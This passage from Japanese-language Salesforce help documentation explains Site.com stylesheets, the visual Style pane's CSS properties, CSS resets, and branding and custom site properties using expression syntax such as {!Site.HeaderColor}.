それに対して、スタイルシートは、最初は理解するのがやや難しいかもしれませんが、任意の 1 か所からサイ
ト全体を変更できます。スタイルシートのスタイル項目を更新すると、そのスタイルシートを使用するページ
またはページ要素のすべてのスタイルがすぐに更新されます。
次の理由により、時間をかけても CSS に精通する価値があります。
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• サイトの作成と設計時の時間と手間を節約する
• より読みやすく一貫性のあるサイトデザインを生成する
• アクセシビリティを必要とする人 (スクリーンリーダーを使用するサイト訪問者など) に対するナビゲーショ

ンを簡素化する
CSS の使用およびスタイルシートの作成についての詳細は、World Wide Web Consortium (W3C) の
www.w3.org/Style/CSSにアクセスしてください。インターネット上には、詳細な CSS トレーニングを提供
するチュートリアルも数多く用意されています。

CSS クラスと ID について
スタイルシートを使用して、サイトのスタイルを設定する場合、bodyや h1などの HTML タグのフォーマット
を再定義できます。CSS クラスと ID を作成して、ヘッダーや繰り返しコンテンツなど、特定の要素のスタイル
を定義することもできます。CSS クラスでは、ページの多くの要素にスタイルプロパティを定義して適用しま
す。一方、ページの単一項目を対象とする場合は、CSS ID が理想的です。たとえば、ページの構造では、多く
の場合、各ページには同じ 1 つのヘッダーやフッターが含まれるため、ヘッダーとフッターエリアの定義には
ID が使用されますが、ブログ投稿など繰り返しページ要素の定義にはクラスが使用されます。

ベストプラクティス
• スタイルシートに CSS のリセットを挿入して、すべてのスタイル項目を基準値にリセットします。これに

より、固有なデフォルトのスタイル設定によるブラウザ間の相違を回避できます。
• 可能な限り、インラインスタイルの代わりに CSS クラスと ID を使用します。これにより、プレゼンテーショ

ンとコンテンツの分離を促進し、より簡単にサイトのスタイルを更新できます。
• ページに 1 回のみ出現する場合は、ID を使用します。一度使用した ID は、そのページには再使用できませ

ん。ページに 1 つ以上出現する場合は、クラスを使用します。
• グループを使用して、論理的に CSS を整理し、より簡単にスタイルシートを管理します。
• CSS3 を使用している場合、一部のブラウザでは CSS3 の機能がまだ完全に実装されていないため、CSS3 のサ

ポートが必要なブラウザごとにプレビューを確認し、サイトを完全にテストしてください。

[スタイル] ペインの使用
[スタイル] ペインのプロパティ
Site.com のスタイルシート表示について
CSS スタイルシートの作成と使用
スタイルシートの項目とグループの作成
CSS のリセットの使用

関連トピック:

[スタイル] ペインの使用
Site.com のスタイルシート表示について
CSS スタイルシートの作成と使用
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[スタイル] ペインの使用

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

[スタイル] ペインは、視覚的な CSS エディタで、ページやページの要素を使って
作業するときに、背景色、フォントサイズ、境界線のスタイルなどのスタイル
プロパティを変更することができます。ページのスタイル設定に CSS クラスまた
は ID を使用している場合、スタイルシートを開く代わりに、[スタイル] ペイン
から直接スタイル項目を変更または作成できます。
選択したページまたはページ項目にスタイルを適用する手順は、次のとおりで
す。
1. [スタイル] ペイン ( ) を開きます。
2. 次を適用できます。

• インラインスタイルの場合は、[インライン]を選択します。インラインス
タイルは、選択された項目のみに影響し、スタイルシートには含まれま
せん。

• CSS クラスの場合は、[クラス]を選択し、名前を入力します。スタイルシー
トにすでにクラスが存在する場合は、表示されるリストから選択します。
新しいクラスを作成するには、名前を入力してそれを選択し、[はい]をク
リックしてスタイルシートに追加します。

• CSS ID の場合は、[ID]を選択して、ドロップダウンリストから選択します。
新しい ID を作成するには、 をクリックし、ID 名を入力して をク
リックします。

メニューページ要素には複数のコンポーネントがあり、表示される [スタイ
ル] ドロップダウンリストからスタイルを選択して、個別にスタイル設定で
きます。

3. [ビジュアル] タブで、必要に応じてスタイルプロパティを適用します。また
は、[コード] タブで、直接 CSS スタイルを入力し、[適用] をクリックします。

ヒント: 選択したページまたはページ要素に関連するスタイルプロパティを表示するには、[スタイル] ペ
インの [コード] タブを開きます。スタイルプロパティを削除するには、[クリア] をクリックします。

関連トピック:

スタイルシートの項目とグループの作成
CSS スタイルシートの作成と使用
カスケードスタイルシートの概要

6088

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



[スタイル] ペインのプロパティ

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

[スタイル] ペインは、視覚的な CSS エディタで、ページやページの要素を使って
作業するときに、背景色、フォントサイズ、境界線のスタイルなどのスタイル
プロパティを変更することができます。

背景色の選択

説明プロパティ

要素の背景色を設定します。[色] ボックスをクリッ
クし、カラーピッカーを使うか、具体的な 16 進コー
ドをテキストボックスに入力して、色を選択しま
す。また、[背景色] ドロップダウンリストの色のリ
ストから選択することもできます。

背景色

背景画像を要素に追加します。[URL] をクリックし
て画像の URL を入力するか、 をクリックしてイ
ンポートされた画像を選択します。

背景画像

要素の背景画像をタイル表示にします。背景の繰り返し
• を選択すると、画像のコピーが 1 つだけ表

示されます。
• を選択すると、画像が横方向に繰り返し表

示されます。
• を選択すると、画像が縦方向に繰り返し表

示されます。
• を選択すると、画像が縦方向と横方向にタ

イル表示されます。

要素の背景画像の位置を指定します。位置
• 背景画像の水平位置を設定するには、[X] テキ

ストボックスに値を入力し、その単位を選択し
ます。または、ドロップダウンリストで [左] ま
たは [右] を選択します。

• 背景画像の垂直位置を設定するには、[Y] テキ
ストボックスに値を入力し、その単位を選択し
ます。または、ドロップダウンリストで [上] ま
たは [下] を選択します。

十字またはポインタなどのカーソルタイプを設定し
ます。

カーソル
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フォントと色のセクション

説明プロパティ

選択した要素のフォントファミリを設定します。フォント

フォントの色を設定します。[色] ボックスをクリックし、カラーピッ
カーを使うか、具体的な 16 進コードをテキストボックスに入力して、

色

色を選択します。また、[色] ドロップダウンリストの色のリストから選
択することもできます。

フォントサイズを設定します。[サイズ] テキストボックスに値を入力
し、em、ポイント、% などの単位を選択します。または、超特小などの

サイズ

定義済みの値を選択します。親要素 (ページやパネルなど) と同じフォン
トサイズを使用するには、[継承] を選択します。

ヒント: エンドユーザが Web ブラウザでフォントサイズを変更で
きるようにするには、em やパーセントなどの相対サイズを使用し
ます。

要素のフォントスタイルをフォーマットします。スタイル
• はフォントを太字にします。
• はフォントを太字斜体にします。
• はフォントを斜体にします。
• [なし] は既存のスタイルを削除します。

フォントを小文字で表示するかを指定します。フォントのバリエーション

テキストの行間のスペースを変更します。テキストボックスに値を入力
し、ピクセル、%、em などの単位を選択します。親ページ要素と同じ行
の高さを使用するには、[継承] を選択します。

行の高さ

要素のテキストに飾り効果を適用します。たとえば、ハイパーリンクの
下に通常表示される下線を削除できます。これは、ほとんどの Web ブラ
ウザにビルトインされている標準の CSS ルールです。

文字飾り

• はテキストに下線をつけます。
• は取り消し線フォーマットを適用します。
• はテキストの上に線をつけます。
• [なし] は既存の文字飾りを削除します。

選択した要素のテキストを揃えます。位置揃え
• は、テキストを左に揃えます。
• は、テキストを右に揃えます。
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説明プロパティ

• は、テキストを中央揃えにします。
• は、テキストを右余白と左余白に揃えます。

要素のテキストの大文字・小文字を変更します。ケース
• は、各単語の最初の文字を大文字にします。
• は、すべての文字を大文字にします。
• は、すべての文字を小文字にします。
• [なし] は既存の文字書式設定を削除します。

選択したページ要素のテキストの最初の行をインデント処理します。テ
キストボックスに値を入力し、その単位を選択します。親ページ要素と
同じインデントを使用するには、[継承] を選択します。

テキストのインデント

スペース、タブ、改行などの空白の要素内での処理方法を制御します。空白

レイアウトセクション

説明プロパティ

ページ要素をドキュメントの通常のフロー外に位置付けます。通常、
ページの要素は、ドキュメントに表示されるとおりに、Web ブラウザに

位置設定

表示されます。p タグや div タグなどのブロック要素は、他の要素の
下に表示されますが、em タグ、strong タグ、span タグなどのインラ
イン要素は、テキストや互いの隣に表示されます。
• [絶対] は、[最上位へ]、[最下位へ]、[左]、および [右] テキスト

ボックスの設定を使ってコンテンツを位置付けます。
• [相対] は、通常のレイアウトフローでページ要素を表示しますが、

[最上位へ]、[最下位へ]、[左]、[右]テキストボックスの値に基づ
いて、通常の位置に相対して要素を移動します。たとえば、要素の
左位置を 20 ピクセルに設定した場合、ページ要素は左から 20 ピクセ
ル離れて位置付けられます。

ページ要素のデフォルトレイアウトの動作を上書きします。たとえば、
ページを非表示にしたり、ブロック要素をインラインに表示したり、イ
ンライン要素をブロック要素で表示したりすることができます。

表示

• [なし] はページ要素を非表示にします。
• [ブロック] は、ページ要素をブロックレベルのページ要素として表示

し、要素の前後に改行を挿入します。
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説明プロパティ

• [インライン] はデフォルトの設定で、要素の前後に改行を入れずに、
ページ要素をインラインページ要素として表示します。

• [インラインブロック] は、ページ要素を、インライン長方形として、
コンテンツがブロック要素の中にあるように表示します。

次の 4 つのプロパティは、[絶対] または [相対] 位置オプションと共に使
用した場合、ページ要素を通常のドキュメントフロー外に配置します。

位置

必要に応じてテキストボックスに値を入力し、対応するドロップダウン
リストからその単位を選択します。
• [上] は、要素の上端と親要素の上端の距離を設定します。
• [下] は、要素の下端と親要素の下端の距離を設定します。
• [右] は、要素の右端と親要素の右端の距離を設定します。
• [左] は、要素の左端と親要素の左端の距離を設定します。

複数の要素を同じ場所に表示する必要がある場合に、その要素の重なり
順を指定します。Z 指数の値がより大きい要素が、Z 指数の値がより小
さい要素の上に重なります。デフォルト値は 0 です。

および をクリックして Z 指数を増減するか、テキストボックス
に値を入力します。

Z 指数

ページ要素を左または右にフロート表示し、テキストなどのその後の要
素をフロート表示されているページ要素の周りを囲んで表示します。

フロート

• は、ページ要素を左にフロート表示します。
• は、ページ要素を右にフロート表示します。
• [なし] は、既存のフロート設定を削除します。

選択したページ要素の横にページ要素のフロート表示を許可するかどう
かを指定します。

クリア

• は、ページ要素を、その左にフロート表示されているページ
要素の下に移動します。

• は、ページ要素を、その右にフロート表示されているページ
要素の下に移動します。

• は、ページ要素を、その両側にフロート表示されているペー
ジ要素の下に移動します。

• [なし] は、既存のフロート設定を削除します。

選択したページ要素を表示するかどうかを指定します。表示
• [表示] はデフォルト値です。
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説明プロパティ

• [非表示] はページ要素を非表示にし、表示されない長方形をその場所
にレンダリングします。

• [折りたたむ] は、テーブル要素を非表示にします (その他のページ要
素では、非表示と同じ動作をします)。

メモ: 非表示のページ要素は、ページレイアウトの同じ場所に
配置されます。

ページ要素のコンテンツが領域を超える場合に、切り抜いて表示するか
どうかを指定します。

オーバーフロー

• [表示] は、コンテンツを切り抜きません。
• [非表示] は、コンテンツを切り抜きます。
• [スクロール] はコンテンツを切り抜きますが、スクロールバーを表示

してユーザがそのコンテンツの残りを表示できるようにします。
• [自動] は、ブラウザに依存しますが、スクロールバーを表示し、残り

のコンテンツを表示できるようにします。

サイズセクション

説明プロパティ

選択したページ要素の幅を設定します。[幅] テキストボックスに値を
入力し、その単位を選択します。親ページ要素の幅を使用するには、[継
承] を選択します。

幅

選択したページ要素の高さを設定します。[高さ] テキストボックスに
値を入力し、その単位を選択します。親ページ要素の高さを使用するに
は、[継承] を選択します。

高さ

ページ要素の境界線と外端の間にある余白の幅を設定します。[すべて]

テキストボックスに値を入力して 4 辺すべての余白を設定するか、必要
に応じて [上]、[右]、[下]、または [左] に余白を追加します。

余白

ページ要素のコンテンツと境界線のスペースを表すパディングの幅を設
定します。[すべて] テキストボックスに値を入力して 4 辺すべてのパ

パディング

ディングを設定するか、必要に応じて [上]、[右]、[下]、または [左] にパ
ディングを追加します。
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境界線セクション

説明プロパティ

各サイドの境界線プロパティを個別に設定するか、まとめて設定するか
を指定します。

種別

破線、点線、二重線などの境界線のスタイルを設定します。スタイル

境界線の色を設定します。[色] ボックスをクリックし、カラーピッカー
を使うか、具体的な 16 進コードをテキストボックスに入力して、色を

色

選択します。また、[色] ドロップダウンリストの色のリストから選択す
ることもできます。

境界線の太さを指定します。[濃さ] テキストボックスに値を入力し、
その単位を選択します。または、[細い]、[中]、または [太い] を選択しま
す。

太さ

テーブルセクション

説明プロパティ

テーブルの設計時:境界線を折りたたむ
• [折りたたむ] は、セルとセルの間に共通する境界線を使用します。
• [個別] は、各セルに独自の境界線を使用します。

セルの境界線を分ける横方向の距離を設定します。テキストボックスに
値を入力し、その単位を選択します。この値は、[境界線を折りたたむ]

が [個別] に設定されている場合にのみ使用されます。

横方向の間隔

セルの境界線を分ける縦方向の距離を設定します。テキストボックスに
値を入力し、その単位を選択します。この値は、[境界線を折りたたむ]

が [個別] に設定されている場合にのみ使用されます。

縦方向の間隔

関連トピック:

[スタイル] ペインの使用
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Site.com のスタイルシート表示について

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

スタイルシートを使用する場合、スタイル項目を追加してグループに整理し、
CSS コードを直接編集できます。[概要] タブで、スタイルシートをダブルクリッ
クするか、マウスポインタを置いて [ ] > [編集] をクリックして、スタイル
シートを開きます。スタイルシートは、新しいタブに表示されます。
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• ツールバー (1) を使用して、スタイルシートをインポートしたり、スタイルシートの CSS コードを直接編集
したりできます。

• スタイルシートペイン (2) を使用して、次の操作を実行できます。
– スタイル項目およびスタイルグループの作成
– スタイル項目のプレビュー、編集および削除
– 現在の場所へのスタイル項目とスタイルグループの移動
– CSS のリセットの追加

• [スタイルのプレビュー] セクション (3) では、選択したスタイル項目をプレビューして手動で編集できます。

メモ:  [スタイルのプレビュー] セクションの @mediaまたは @font-faceなどの at ルールをプレビュー
することはできません。

• ビジュアル CSS エディタ (4) では、選択したスタイル項目の CSS プロパティを定義できます。

関連トピック:

CSS スタイルシートの作成と使用
カスケードスタイルシートの概要
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CSS スタイルシートの作成と使用

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

「Site スタイルシート」と呼ばれるデフォルトのスタイルシートは、サイトの作
成時に各サイトに組み込まれます。ただし、CSS に精通していて複数のスタイル
シートが必要な場合、サイトで使用するスタイルシートを新規作成できます。
スタイルシートを作成する手順は、次のとおりです。
1. [概要] タブの [スタイルシート] > [新規] をクリックします。または、[スタイ

ルシート] ビューで [新規スタイルシート] をクリックします。
2. スタイルシートの名前を入力します。
3. [適用] をクリックします。スタイルシートが開きます。
4. スタイルシートにスタイル項目とスタイルグループを追加します。

メモ:

• スタイルシート名には、英数字、ハイフン、コロン、アンダースコアの
みを使用できます。

• サイトで使用する CSS ファイルをインポートすることもできます。

新しく作成したスタイルシートは、ページに添付して、ページにそのスタイル
を適用する必要があります。
ページにスタイルシートを添付する手順は、次のとおりです。
1. [ページ構造] ペイン ( ) でページを選択します。
2.

[プロパティ] ペイン ( ) の [スタイルシート] セクションで、 をクリッ
クします。

3. 表示されたリストからスタイルシートを選択します。
4. ドロップダウンリストの横にある をクリックして、ページにスタイル

シートを添付します。

ヒント: ページテンプレートを使用して、サイトページを作成した場合、すべてのページに新しいスタイ
ルシートを挿入する最も早い方法は、テンプレートに添付する方法です。テンプレートに基づいたすべ
てのページにスタイルシートへの参照が自動的に挿入されます。

関連トピック:

Site.com のスタイルシート表示について
カスケードスタイルシートの概要
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スタイルシートの項目とグループの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

スタイルシートにスタイル項目を追加する場合、CSS クラスと ID を定義したり、
body や h1 などの HTML タグのフォーマットを再定義したりできます。HTML タ
グの CSS スタイルを変更した場合、そのタグを使用してフォーマットされている
ものはすぐに更新されます。

スタイル項目の作成
スタイルシートを開くには、[概要] タブの [スタイルシート] ビューのスタイル
シートをダブルクリックするか、マウスを置いて [ ] > [編集] をクリックしま
す。
CSS に精通していて手動でコーディングする場合は、[スタイルシートコードを
編集]をクリックして CSS エディタを使用してスタイルシートを直接編集します。
また、at ルール (@mediaなど) を追加するには、スタイルシートを直接編集する
必要があります。
次の手順でもページを作成できます。
1. スタイルシートを選択して、[ ] > [スタイル項目を挿入] をクリックしま

す。
2. スタイル項目の名前を入力します。

• 特定の HTML タグのデフォルトフォーマットを再定義するには、HTML タグ
名を入力します (body や h1 など)。

• CSS クラスを作成するには、クラス名を入力して、クラス名の前にピリオ
ドを挿入します。(.classname など)。

• CSS ID を作成するには、#に続けて ID 名を入力します (#contentIDなど)。

3. [適用] をクリックします。
4. 次のいずれかの操作で、スタイル定義を追加します。

• 右側のビジュアルスタイルエディタでスタイルプロパティを設定する
• [スタイルのプレビュー] セクションのテキストボックスに CSS スタイルを入力して [保存] をクリックす

る

選択したスタイル項目の定義を変更する場合、[スタイルのプレビュー] セクションに表示される変更内容を確
認できます。

ヒント:

• クラス名は、ピリオドで始まる必要があります。開始文字が異なると、CSS クラスとして認識されま
せん。

• ID 名は # で始まる必要があります。開始文字が異なると、CSS ID として認識されません。
• ページに 1 回のみ出現する場合は、ID を使用します。一度使用した ID は、そのページには再使用でき

ません。ページに 1 つ以上出現する場合は、クラスを使用します。
• クラス名と ID 名には、英数字、ハイフン、アンダースコアのみ使用できますが、数字で開始する、ま

たはスペースを挿入することはできません。
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スタイルグループの作成
グループを使用して、論理的に CSS を整理します。スタイルをより簡単に検索、管理できるようになります。
スタイルシートが開いている状態で、次の手順を実行します。
1. スタイルシートを選択して、[ ] > [スタイルグループを挿入] をクリックします。
2. グループの名前を入力して、[適用] をクリックします。
3. グループに新しいスタイルを追加するには、グループを選択して [ ] > [スタイル項目を挿入]をクリック

します。グループに既存のスタイルを追加するには、フォルダアイコンの上にドラッグします。

スタイル項目の割り当て
作成したスタイルは、サイトのページとページ要素に割り当てることができます。
ページまたはページ要素にクラスを割り当てるには、ページまたはページ要素を選択して、次のいずれかの操
作を実行します。
• [プロパティ] ペイン ( ) の [クラス] 項目にクラス名を入力する。
• [スタイル] ペイン ( ) の [クラス] を選択して、名前の入力を開始し、表示されるリストから選択する。
ページまたはページ要素に ID を割り当てるには、次のいずれかの操作を実行します。
• [プロパティ] ペイン ( ) の ID 項目に ID 名を入力する。
• [スタイル] ペイン ( ) の [ID] を選択して、ドロップダウンリストから選択する。

関連トピック:

CSS スタイルシートの作成と使用
Site.com のスタイルシート表示について
カスケードスタイルシートの概要
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CSS のリセットの使用

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

どのブラウザにもプレゼンテーションのデフォルトが設定されていますが、す
べてのブラウザの種類で標準化されているわけではありません。つまり、CSS を
使用してサイトにスタイルを設定した場合、別のブラウザで表示すると期待ど
おりに表示されない場合があります。たとえば、ブラウザによって、次の表示
が異なります。
• 順序なしリストと順序付きリスト
• ヘッダーの上余白と下余白
• インデントの距離
• デフォルトの行の高さ
CSS のリセットはブラウザ間の差を解消し、エンドユーザに表示されるブラウザ
要素を制御します。Site.com の CSS のリセットを使用するか、固有の CSS リセッ
トコードを追加できます。
Site.com の CSS のリセットを使用する手順は、次のとおりです。
1. [概要] タブの [スタイルシート] ビューでスタイルシートをダブルクリックす

るか、マウスを置いて [ ] > [編集] をクリックして、スタイルシートを開
きます。

2. [ ] > [CSS のリセットを挿入] をクリックします。
3. CSS のリセットがスタイルシートの上部に配置されたことを確認します。CSS

のリセットを移動するには、左側のペインの適切な位置にドラッグします。
固有の CSS リセットコードを追加する手順は、次のとおりです。
1. [概要] タブの [スタイルシート] ビューでスタイルシートをダブルクリックす

るか、マウスを置いて [ ] > [編集] をクリックして、スタイルシートを開
きます。

2. [スタイルシートコードを編集] をクリックして、CSS エディタを開きます。
3. スタイルシートコードの上部にコードを貼り付けます。
4. [保存 & 閉じる] をクリックします。

関連トピック:

CSS スタイルシートの作成と使用
カスケードスタイルシートの概要
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サイトブランドの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ブランド設定によって、Web サイトのブランドのさまざまな部分を柔軟な方法
で定義できます。ブランドプロパティを定義すると、エディタは、ブランドエ
ディタという 1 つの場所ですべてを容易にカスタマイズできます。Web サイトエ
ディタがプロパティをカスタマイズするとき、ブランド設定の変更のプレビュー
を即座に参照できます。
Web サイト、ページテンプレート、またはウィジェットにブランドプロパティ
を追加することによって、カスケードスタイルシートを編集することなく、Web

サイトのブランドのこれらの部分を容易に定義および変更できます。
Web サイトのブランドに関連して定義する部分の例として、次のようなものが
あります。
• Web サイトの背景、ページ、またはリンクの色
• フォントサイズおよび色
• ロゴまたはヘッダー背景画像
• 行の太さおよび色
Web サイトでブランド設定を使用するには、次の作業をしておく必要があります。
1. 背景色、ロゴ、フォントなどの各部分のためのブランドプロパティを作成してブランドを構成するサイト

の要素を定義する。[サイトの設定] の [ブランドプロパティ] で作業を実行します。
2. 式言語の構文を使用して、新しいブランドプロパティのカスケードスタイルシート内でこれらのプロパティ

の現在の定義を置き換える。
3. ブランドエディタを使用して、プロパティをカスタマイズし、Web サイトがどのように見えるかをプレ

ビューする。
また、カスタムコードブロックやコンテンツブロック内で式言語の構文を直接使用して、ブランドプロパティ
にアクセスすることもできます。

ブランドプロパティの作成
ブランド設定では、サイトのエディタで再利用できるスタイルプロパティをすばやく作成できます。
ブランドプロパティの設定
ブランドプロパティを作成すると、次のステップは、カスケードスタイルシート (CSS) の式、またはコンテ
ンツブロックやカスタムコード要素などの Site.com のページ要素として参照することです。
ブランドエディタの使用
ブランドエディタでは、一元的にサイトのブランドプロパティをカスタマイズして、その変更をプレビュー
できます。

関連トピック:

ブランドプロパティの作成
ブランドプロパティの設定
ブランドエディタの使用
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ブランドプロパティの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

ブランド設定では、サイトのエディタで再利用できるスタイルプロパティをす
ばやく作成できます。
ブランドプロパティを作成するときは、プロパティを複数のセクションに分類
して、ブランドエディタで見つけやすくします。また、セクション内のプロパ
ティも整理します。
• セクション内のプロパティを理路整然と並べます。たとえば、アルファベッ

ト順で表示します。
• [ブランドプロパティ] ビュー内でセクションやプロパティをドラッグアンド

ドロップして整理します。
1. サイト内から、[サイトの設定] > [ブランドプロパティ] をクリックします。

ブランドプロパティエディタが表示されます。
2.

をクリックします。
3. [表示ラベル] 項目にプロパティの名前を入力します。

式名が自動入力されます。式名はスタイルシートやコードブロックで使用し
ます。

4. 種別を選択します。
5. デフォルト値を設定します。
6. プロパティを必須にする場合は、[必須] をクリックします。

プロパティの上にマウスを置き、メニュー を使用してプロパティを編
集または削除します。セクションを編集する場合はその名前をダブルクリック
します。

関連トピック:

サイトブランドの概要
カスタムプロパティ種別
ブランドプロパティの設定
ブランドエディタの使用
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ブランドプロパティの設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

ブランドプロパティを作成すると、次のステップは、カスケードスタイルシー
ト (CSS) の式、またはコンテンツブロックやカスタムコード要素などの Site.com

のページ要素として参照することです。
ブランドプロパティの式の構文は、{!Site.branding-property-name} で
す。たとえば、HeaderColor という名前の色プロパティを作成する場合、
{!Site.HeaderColor}.と入力して、プロパティを CSS またはコードブロック
に挿入できます。

メモ: 式名は大文字と小文字を区別します。
1. CSS またはコードブロックを開きます。
2. 式を挿入する場所に移動します。
3. 「{!」と入力すると、

使用できるプロパティのドロップダウンリストが表示されます。
4. プロパティを選択してダブルクリックし、ページ上に挿入します。

例: たとえば、Web サイトのブランドの一部で、ヘッダーセクションの背景
色に青を使用する場合、通常は CSS ルールの色の HEX 値を静的に設定しま
す。
.site-header {
background-color: #3793DD;
}

ブランド設定では、HEX の色に直接対応付けるプロパティを作成して、CSS

でそのプロパティの式名を使用できます。
.site-header {
background-color: {!Site.HeaderColor};
}

そのため、CSS を編集する代わりにブランドエディタを使用し、サイトエ
ディタで色を簡単に変更できるようになります。

関連トピック:

サイトブランドの概要
ブランドプロパティの作成
ブランドエディタの使用
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ブランドエディタの使用

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

ブランドエディタでは、一元的にサイトのブランドプロパティをカスタマイズ
して、その変更をプレビューできます。
ブランドエディタには次の 2 つの領域があります。
• 左側のエディタパレットには、編集可能なブランドプロパティがすべて表示

されます。
• 右側のプレビュー領域には、スタイル変更後の Web サイトのライブプレビュー

が表示されます。
1. 編集するページを開きます。
2. をクリックします。
3. 左側のペインから、編集するスタイルプロパティを選択します。

編集した結果がすぐに右側のペインに表示されます。

関連トピック:

サイトブランドの概要
ブランドプロパティの作成
ブランドプロパティの設定
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カスタムサイトプロパティの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

カスタムサイトプロパティでは、サイトで頻繁に表示されるコンテンツを定義
して保存できます。たとえば、住所や電話番号をカスタムプロパティとして保
存すれば、サイトを編集するユーザは誰でもこのプロパティを再利用できます。
式言語の構文を使用すると、保存されたプロパティをページ、ヘッダーやフッ
ター、ウィジェットにすばやく適用できます。
Web サイトでカスタムプロパティを使用するには、次のことを行う必要があり
ます。
1. カスタムプロパティを定義します。この作業は [サイトの設定] の [カスタム

プロパティ] で行います。
2. 式言語の構文を使用して、カスケードスタイルシートまたはカスタムコード

ブロック内でこれらのプロパティの現在の定義を置換します。
新しいプロパティを作成してその値と種別を指定した後に、式を使用してカス
タムコードまたはコンテンツブロックのプロパティにアクセスできます。式は、ページが読み込まれたときに
カスタムプロパティに置換されるデータのプレースホルダとして機能します。

カスタムサイトプロパティの作成
サイトのエディタで再利用できるカスタムプロパティをすばやく作成できます。
カスタムプロパティの設定
スタイルシートやコードブロック、ウィジェット、HTML ページエディタ内で式言語の構文を使用すれば、
Web サイトのカスタムプロパティを使用できます。
ページテンプレートまたはウィジェットのカスタムプロパティの概要
ページテンプレートまたはウィジェットを作成する場合、テンプレートおよびウィジェットの再利用方法
の柔軟性を高めるために、カスタムプロパティを追加して、各プロパティの値と種別を指定できます。
ページテンプレートまたはウィジェットへのカスタムプロパティの追加
ページテンプレートまたはウィジェットを作成する場合、カスタムプロパティを追加して、各プロパティ
の値と種別を指定できます。
カスタムプロパティ種別
デザイナまたはサイト管理者がサイトブランドプロパティ、サイトカスタムプロパティ、ウィジェットブ
ランドプロパティ、ウィジェットカスタムプロパティを作成するときに、プロパティ種別を使用できます。

関連トピック:

カスタムサイトプロパティの作成
カスタムプロパティの設定
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カスタムサイトプロパティの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• Site.com

Contributor ユーザ
および

サイトレベルで割り当
てられた寄稿者ロール

サイトのエディタで再利用できるカスタムプロパティをすばやく作成できます。
カスタムプロパティを作成するときは、プロパティが理路整然と並んでいるほ
うが望ましいものと思われます。
• プロパティを複数のセクションに分類すると、管理が容易になり、見つけや

すくなります。
• セクション内のプロパティを理路整然と並べます。たとえば、アルファベッ

ト順で表示します。
• [カスタムプロパティ] ビュー内でセクションやプロパティをドラッグアンド

ドロップして整理します。
1. サイト内から、[サイトの設定] > [カスタムプロパティ] をクリックします。

[カスタムプロパティ] ビューが表示されます。
2.

をクリックします。
3. [表示ラベル] 項目にプロパティの名前を入力します。

式名が自動入力されます。式名はスタイルシートやコードブロックで使用し
ます。

